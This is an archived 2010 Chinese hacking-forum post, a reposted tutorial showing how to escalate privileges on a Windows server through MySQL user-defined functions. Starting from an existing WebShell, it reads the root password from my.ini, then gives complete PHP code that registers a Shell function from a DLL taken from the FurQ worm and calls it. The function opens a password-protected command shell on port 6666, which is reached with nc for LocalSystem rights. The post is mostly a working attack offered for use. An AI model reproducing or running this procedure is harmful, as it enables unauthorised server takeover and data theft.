绿色兵团's Archiver

首页|知道频道

5706636 发表于 2010-4-13 19:08

【转】实例演示MySQL提权的过程

[i=s] 本帖最后由 R.E.C--F22 于 2010-5-15 19:22 编辑 [/i]

首先,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.
  MySQL中创建一个函数的语句为:
  Create Function FunctionName Returns [String|Integer|Real] Soname ‘C:\function.dll’;
  其中FunctionName指的是函数的名称,C:\Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里 需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第 14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的 编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到[url=http://hack.77169.com/List/List_45.html][color=#0000ff]攻击[/color][/url]的效果,比如说System(”command.com”)等等. 网上现在以此漏洞进行[url=http://hack.77169.com/List/List_45.html][color=#0000ff]攻击[/color][/url]的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql 这个数据库的写权限,否则无法正常使用.
  好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.
  在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL 的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.
  一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非 常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密 码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.
  得到 MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的 Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是”FurQ”几个字符而已.不过我们现在还没有 执行的条件.需要通过MySQL将这个函数创建到MySQL中去.
  现在,我们用PHPSPY新建一个PHP文件.
  输入以下的内容
  $link=mysql_connect(’127.0.0.1′,’root’,'root’);
  if (!$link) {
  die(’Could NOt Connect The Database!: ‘ . mysql_error());
  };
  echo “Good Boy.Connected!
  “;
  //这里的root oot就是从my.ini中读取的用户和密码.
  @mysql_select_db(’mysql’) or die (’use database mysql failed!’);
  echo “Yes You Did!
  “;
  //这里选择使用MySQL数据库表.当然你也可以选择别的,如test.
  $query=”Create Function Shell RETURNS INTEGER SONAME ‘d:\\wwwroot\\FurQ.dll’;”;
  @$result = mysql_query($query, $link) or die (”Create Function Failed!”);
  echo “Goddess…Successed!
  “;
  //这两句话是关键,执行MySQL的创建函数语句.将d:\wwwroot\furq.dll中的Shell函数创建进MySQL中.使得 MySQL可以执行这个Shell函数.
  $query=”Select Shell();”;
  @$result = mysql_query($query, $link) or die (”Execute failed”);
  echo “Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
  “;
  //这一步是执行这个Shell函数,打开服务器的6666端口.
  ?>
  再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL 了.. 当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所 欲为了,不过不要做坏事哦.呵呵

comewisdom 发表于 2010-9-6 11:56

好好好好好好好好

页: [1]

Powered by Discuz! Archiver 7.1  © 2001-2009 Comsenz Inc.